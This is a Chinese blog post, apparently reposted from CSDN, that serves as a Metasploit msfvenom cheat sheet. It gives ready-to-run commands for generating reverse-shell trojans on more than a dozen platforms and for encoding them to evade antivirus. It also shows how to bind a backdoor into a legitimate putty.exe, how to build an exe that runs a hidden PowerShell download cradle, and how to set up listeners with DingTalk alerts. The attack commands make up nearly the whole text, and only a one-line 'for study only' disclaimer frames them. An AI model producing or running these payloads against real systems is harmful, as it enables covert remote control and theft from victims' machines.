生命在于学习——MSF初体验(三)

在这里插入图片描述
注意:本篇文章仅用于学习笔记记录与交流,不得用于其他违规用途。

一、Msfvenom介绍

msf自带的有对应各个平台生成木马的工具msfvenom,而且不需要进入msf控制台,直接在命令行输入命令即可。

二、Msfvenom参数介绍

1、-l

列出指定模块的所有可用资源 , 模块类型包括 : payloads, encoders, nops, platforms, archs, encrypt, formats, all

2、-p

指定需要使用的payload(攻击荷载)。也可以使用自定义payload,几乎是支持全平台的

比如想查看windows/meterpreter/reverse_tcp支持什么平台、哪些选项,可以使用

msfvenom -p windows/meterpreter/reverse_tcp --list-options

3、-f

指定输出格式 (使用 --list formats 来获取msf支持的输出格式列表)

msfvenom  --list formats

4、-e

指定需要使用的encoder(编码器),指定需要使用的编码,如果既没用-e选项也没用-b选项,则输出raw payload如果你想查看所有支持的编码类型 , 使用

msfvenom --list encoders

5、-a

指定payload的目标架构,例如x86 | x64 | x86_64如果你想查看所有支持的架构 , 使用

msfvenom --list archs

6、-o

指定创建好的payload的输出位置 , 没啥好说的

7、-b

设定规避字符集,指定需要过滤的坏字符例 , 一般是和生成shellcode搭配使用

8、-n

为payload预先指定一个NOP滑动长度

9、-s

设定有效攻击荷载的最大长度,就是文件大小

10、-i

指定payload的编码次数 , 后面接次数,表示编码的次数

11、-c

添加自己的shellcode , 需要自己编写shellcode

12、-x|-k

捆绑。例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。

13、-v

指定一个自定义的变量,以确定输出格式

14、-t

从STDIN读取有效负载时等待的秒数(默认值为30,0表示禁用), 一般默认即可

15、-h

查看帮助信息 , 没啥好说的

三、Msfvenom生成实例

1、生成一个windows木马

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.159 LPORT=8804 -f exe -o /tmp/payload.exe

在这里插入图片描述

2、规避指定字符

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -b '\x00' -f exe -o shell.exe

-b 替换代码中会出现中断的字符

3、指定编码器

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -b 'x00' -e x86/shikata_ga_nai -f exe -o shell.exe

4、绑定后门到其他可执行程序上

msfvenom -p windows/meterpreter/reverse_http LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -x /tmp/putty.exe -k -f exe -o /tmp/puuty_bind.exe

5、Windows木马

msfvenom –platform windows –a x86 –p windows/meterpreter/reverse_tcp –i 3 –e x86/shikata_ga_nai –f exe –o /tmp/back.exe

6、Linux木马

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf -o /tmp/shell.elf

7、Mac木马

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho -o shell.macho

8、Android木马

msfvenom -a x86 --platform android -p android/meterpreter/reverse_tcp LHOST=IP LPORT=8004 R> /tmppayload.apk

9、Powershell木马

msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1

10、PHP木马

msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw -o shell.php

11、ASP木马

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp -o shell.asp

12、ASPX木马

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f aspx -o shell.aspx

13、JSP木马

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw -o shell

14、War木马

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war -o shell.war

15、nodejs木马

msfvenom -p nodejs/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.js

16、Bash木马

msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On>-f raw -o shell.sh

17、Perl木马

msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw -o shell.pl

18、Python木马

msfvenom -p python/meterpreter_reverse_http LHOST=IP LPORT=7878 -f raw -o shell.py

19、ruby木马

msfvenom -p ruby/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.rb

20、lua木马

msfvenom -p cmd/unix/reverse_lua LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.lua

21、exe利用exec执行powershell

msfvenom -p windows/exec CMD="powershell.exe -nop -w hidden -c M.proxy=[Net.WebRequest]::GetSystemWebProxy();M.downloadstring('http://IP:8080/4WFjDXrGo7Mj');" -f exe -e x86/shikata_ga_nai -i 6 -o msf.exe

22、windows shellcode

msfvenom -p windows/meterpreter/reverse_http LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f c

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c

23、linux shellcode

msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c

24、mac shellcode

msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c

四、MSF监听

当目标主机执行反弹木马后,会回连当前机器 ,需要设置端口监听

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.101.48 LPORT=8000 -f exe -o /tmp/payload.exe

msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost IP    # msf好像不支持监听本地ip , 变成0.0.0.0了
set lport 4444
run

五、MSF和钉钉联动

1、创建群

2、创建群机器人

在这里插入图片描述

3、复制webhook

在这里插入图片描述

4、msf中打开钉钉通知

5、测试

进入msf后

load -l
load session_notifier 
set_session_dingtalk_webhook https://oapi.dingtalk.com/robot/send?access_token=你的token
start_session_notifier

常规监听,run

在这里插入图片描述
如果msf放后台

apt install screen
screen -S msf                               # 创建一个screen
ctrl + a + d                                   # 回到主窗口
screen -ls                                      # 列出所有的screen
screen -x msf                               # 恢复之前离线的screen作业
screen -S 名字  -X quit                 #  kill掉一个screen

六、RC文件

如果你觉得每次 , 设置监听比较麻烦 , 你也可以将这些命令写进一个rc文件

cat handler.rc 

use exploit/multi/handler
set lhost 0.0.0.0
set lport 5656
set payload windows/meterpreter/reverse_tcp
run -j

msfconsole -r handler.rc

或者一条命令监听
handler -p windows/meterpreter/reverse_tcp -H IP -P 8899

猜你喜欢

转载自blog.csdn.net/qq_15131581/article/details/127453210